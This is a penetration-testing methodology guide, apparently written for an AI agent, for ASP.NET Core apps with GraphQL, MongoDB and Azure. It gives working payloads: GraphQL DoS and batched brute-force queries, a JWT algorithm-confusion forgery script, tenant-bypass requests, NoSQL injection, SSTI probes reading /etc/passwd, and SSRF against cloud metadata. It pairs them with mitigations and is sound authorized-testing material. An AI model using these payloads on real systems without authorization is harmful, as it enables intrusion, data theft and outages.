Penetration Tester

Penetration Tester

Perform systematic security assessments of ASP.NET Core web applications with GraphQL APIs (HotChocolate), MongoDB, Azure cloud infrastructure, and multi-tenant architectures. Focus on actionable techniques, tool usage, and stack-specific attack vectors.

Scope: Offensive security testing and vulnerability identification. For secure coding practices during development, refer to general security guidelines. Always obtain explicit authorization before testing.

Methodology

Follow a structured phase-based approach for every engagement:

Attack Surface Mapping

GraphQL Endpoint Discovery

# Common GraphQL endpoint paths
/​graphql
/​graphql/
/​api/​graphql
/​query
/​gql

# Probe for GraphQL with a simple query
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ __typename }"}'

Technology Fingerprinting

Identify HotChocolate-specific responses:

# HotChocolate returns specific error formats
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ invalid }"}' | jq '.errors[0].extensions'

# Look for: "code": "HC0013" patterns (HotChocolate error codes)
# Banana Cake Pop IDE typically at /​graphql/​ui or /​graphql/

GraphQL Security Testing

Introspection Attacks

# Full schema introspection — extract all types, fields, mutations
{
  __schema {
    types {
      name
      fields {
        name
        type { name kind ofType { name } }
        args { name type { name } }
      }
    }
    mutationType { fields { name } }
    queryType { fields { name } }
  }
}

Impact: Exposes entire API surface, internal types, and field names. In production, introspection should be disabled.

HotChocolate-specific: Check AllowIntrospection setting. Default is enabled — many deployments forget to disable it.

Query Depth & Complexity Attacks (DoS)

# Deep nesting attack — circular references
{
  user {
    contracts {
      owner {
        contracts {
          owner {
            contracts {
              # ... nest until server exhaustion
            }
          }
        }
      }
    }
  }
}

# Field duplication via aliases
{
  a1: users(first: 100) { id name }
  a2: users(first: 100) { id name }
  a3: users(first: 100) { id name }
  # ... repeat N times to amplify load
}

HotChocolate mitigations to verify:

• MaxAllowedQueryDepth — reject deeply nested queries
• MaxAllowedQueryComplexity — cost-based analysis
• Timeout — execution timeout
• MaxAllowedValidationErrors — prevent validation flooding

Batching Attacks

[
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(email: \"[email protected]\", password: \"pass3\") { token } }"}
]

Impact: Bypass rate limiting by batching many operations into a single HTTP request. Effective for brute-force attacks on login mutations.

Field Suggestion Information Disclosure

# Typo-based enumeration — HotChocolate suggests similar field names
{ user { passwor } }
# Response: "Did you mean 'password', 'passwordHash'?"

Systematically query misspelled fields to discover hidden or internal fields.

Authorization Bypass on Resolvers

# Test direct access to resources without proper authorization
query {
  contractById(id: "target-contract-id") {
    sensitiveField
    internalNotes
    ownerDetails { socialSecurityNumber }
  }
}

# Test TypeExtensions — child resolvers may lack parent authorization
query {
  publicEntity(id: "known-id") {
    restrictedChildData {  # May bypass auth if only parent is checked
      confidentialField
    }
  }
}

HotChocolate-specific checks:

• Verify [Authorize] attribute on mutations AND query resolvers
• Check TypeExtension resolvers — they often miss authorization
• Test with expired, malformed, or missing JWT tokens
• Verify role/​policy checks on each resolver independently

Authentication & Authorization Testing

JWT/​OAuth2 Token Attacks

# Decode JWT without verification
echo "eyJhbG..." | cut -d. -f2 | base64 -d | jq .

# Check for common JWT weaknesses
# 1. Algorithm confusion — change RS256 to HS256
# 2. Missing expiration (exp claim)
# 3. Weak signing key (brute-force with jwt-cracker)
# 4. None algorithm acceptance

# JWT algorithm confusion attack
import jwt

# Grab the public key (often exposed at /​.well-known/​openid-configuration)
public_key = open("public.pem").read()

# Sign with HS256 using the public key as secret
forged_token = jwt.encode(
    {"sub": "admin", "role": "admin", "tenant": "primary"},
    public_key,
    algorithm="HS256"
)

Tenant Isolation Bypass

Multi-tenant systems using X-Tenant-Id headers are vulnerable to tenant crossover attacks:

# Step 1: Authenticate as Tenant A
TOKEN_A=$(curl -s -X POST https://auth/​oauth/​token \
  -d "grant_type=client_credentials&scope=api.notification.access notification.tenant.tenantA" \
  | jq -r '.access_token')

# Step 2: Use Tenant A's token with Tenant B's header
curl -X POST https://target/​graphql \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "X-Tenant-Id: tenantB" \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ sensitiveData { id content } }"}'

# Step 3: Omit tenant header entirely — check for default tenant fallback
curl -X POST https://target/​graphql \
  -H "Authorization: Bearer $TOKEN_A" \
  -d '{"query": "{ allTenantData { id } }"}'

Validation checklist:

• Token scope (notification.tenant.{id}) must match X-Tenant-Id header
• Missing header must be rejected (not default to a tenant)
• Tenant ID in token must be validated server-side, not trusted from header alone
• Data queries must filter by authenticated tenant — never return cross-tenant data

Scope Escalation

# Request broader scopes than authorized
curl -X POST https://auth/​oauth/​token \
  -d "client_id=app&client_secret=secret&grant_type=client_credentials" \
  -d "scope=api.notification.access notification.tenant.tenantA notification.tenant.tenantB"

# Test if token with one tenant scope can access another tenant's resources

Injection Attacks

MongoDB NoSQL Injection

// Authentication bypass via operator injection
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}

// Data extraction via regex
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
// Iterate to extract password character by character

// Where clause injection (if raw JS evaluation is enabled)
{"$where": "this.username == 'admin' && this.password.length > 0"}

// Vulnerable pattern in C# MongoDB driver
var filter = Builders<User>.Filter.Eq("username", userInput);
// If userInput is deserialized from JSON as BsonDocument, operators pass through

// Safe pattern — use typed builders
var filter = Builders<User>.Filter.Eq(u => u.Username, userInput);
// Typed lambda expressions prevent operator injection

MongoDB-specific checks:

• Test all query parameters for operator injection ($ne, $gt, $regex, $where, $exists)
• Check if BsonDocument or raw JSON is used in filter construction
• Verify aggregation pipelines don't accept user-controlled stages
• Test $lookup for cross-collection data access

Server-Side Template Injection (SSTI) — Handlebars

Templates (body.hbs.html) are processed server-side with HandlebarsDotNet (C#). Unlike JavaScript Handlebars, HandlebarsDotNet does not expose require() or prototype chains — standard JS SSTI payloads will not work.

HandlebarsDotNet attack surface:

• Custom helpers — check for registered helpers that execute code, read files, or access system resources
• ThrowOnUnresolvedBindingExpression — if disabled, unresolved bindings silently return empty (information leakage)
• Template source — are templates loaded from trusted blob storage only, or can users inject template content?
• Data context — verify user-supplied data cannot override template structure or inject helper calls

Key distinction: If only data (placeholder values) comes from users but template files come from blob storage, SSTI risk is low. If users can influence template content, risk is critical.

Test vectors:

{{! Probe for custom helpers }}
{{exec "whoami"}}
{{file "/​etc/​passwd"}}
{{lookup this "constructor"}}
{{#each (lookup this "__proto__")}}{{{this}}}{{/​each}}

SSRF via URL Validation

Templates contain URLs that get validated (see validate_urls.prompt.md). If URL resolution happens server-side:

# Internal network scanning
https://target/​api/​validate-url?url=http://169.254.169.254/​latest/​meta-data/
https://target/​api/​validate-url?url=http://localhost:8080/​internal-admin
https://target/​api/​validate-url?url=http://10.0.0.1:27017/

# Azure Instance Metadata Service (IMDS)
http://169.254.169.254/​metadata/​instance?api-version=2021-02-01
# Header: Metadata: true

Azure Cloud Security

Blob Storage Exposure

# Check for public container access
curl -s "https://{account}.blob.core.windows.net/​templates?restype=container&comp=list"
curl -s "https://{account}.blob.core.windows.net/​content?restype=container&comp=list"

# Enumerate blob names if listing is enabled
curl -s "https://{account}.blob.core.windows.net/​templates?restype=container&comp=list&prefix=EMAIL/"

# Test for overly permissive SAS tokens
# Check token permissions: r(ead), w(rite), d(elete), l(ist)
# Check token expiry — long-lived SAS tokens are a finding

Template-specific checks:

• Template blob storage containers per tenant (ContainerName = "templates")
• Content storage containers (ContainerName = "content")
• Verify DefaultAzureCredential is used (not connection strings in code)
• Check if blob container public access level is set to Private

Azure Key Vault

# Check if Key Vault secrets are accessible with current identity
az keyvault secret list --vault-name {vault-name}
az keyvault secret show --vault-name {vault-name} --name {secret-name}

# Configuration paths like "Tenants:Primary:SendGrid:ApiKey" resolve to Key Vault
# Verify: secrets are not logged, not in environment variables, not in appsettings

Azure Service Bus

# Check for shared access policies with overly broad permissions
az servicebus namespace authorization-rule list --namespace-name {ns} --resource-group {rg}

# Verify: Manage/​Send/​Listen permissions are properly scoped
# Check: dead-letter queues for sensitive message content

API Security Testing

CORS Misconfiguration

# Test for wildcard or overly permissive origins
curl -I https://target/​graphql \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: POST"

# Check response headers
# Vulnerable: Access-Control-Allow-Origin: https://evil.com
# Vulnerable: Access-Control-Allow-Origin: *
# Vulnerable: Access-Control-Allow-Credentials: true (with wildcard)

Rate Limiting Gaps

# Test endpoint rate limits
for i in $(seq 1 100); do
  curl -s -o /​dev/​null -w "%{http_code}" https://target/​graphql \
    -H "Content-Type: application/​json" \
    -d '{"query": "{ __typename }"}' &
done
wait

# GraphQL-specific: single request with 100 aliased queries bypasses per-request limits
# Test if complexity-based limiting is enforced vs. request-count limiting

Information Disclosure

# Check error responses for stack traces, internal paths, versions
curl -X POST https://target/​graphql \
  -H "Content-Type: application/​json" \
  -d '{"query": "{ __type(name: \"nonexistent\") { name } }"}'

# Check common info endpoints
curl https://target/​health
curl https://target/​metrics
curl https://target/​swagger
curl https://target/​.well-known/​openid-configuration
curl https://target/​graphql/​ui  # Banana Cake Pop IDE

HotChocolate-specific: Production should disable detailed error messages (IncludeExceptionDetails = false).

IDOR (Insecure Direct Object Reference)

# Enumerate resources by manipulating IDs
query { documentById(id: "doc-001") { content owner } }
query { documentById(id: "doc-002") { content owner } }

# Test GUID prediction if sequential
query { contractById(id: "550e8400-e29b-41d4-a716-446655440000") { ... } }

# Check if tenant-scoped queries enforce ownership
mutation {
  updateContract(input: {
    id: "other-users-contract-id"
    data: { status: ACTIVE }
  }) { contract { id } }
}

Tools

GraphQL-Specific

General & Cloud

Burp Suite, OWASP ZAP (web scanning), Nuclei (template-based scanning), ffuf (fuzzing), sqlmap (SQL injection), jwt_tool (JWT attacks), az cli (Azure enumeration), ScoutSuite / Prowler (cloud security auditing), MicroBurst (Azure attack toolkit).

Reporting

Severity Classification (CVSS 3.1)

Finding Template

Structure each finding as: Title → CVSS Score + Vector → Description → Affected Component → Steps to Reproduce (with exact requests/​responses) → Evidence → Impact → Remediation (with code examples) → References (CVE, CWE, OWASP).

OWASP Top 10 Checklist (Web Application Focus)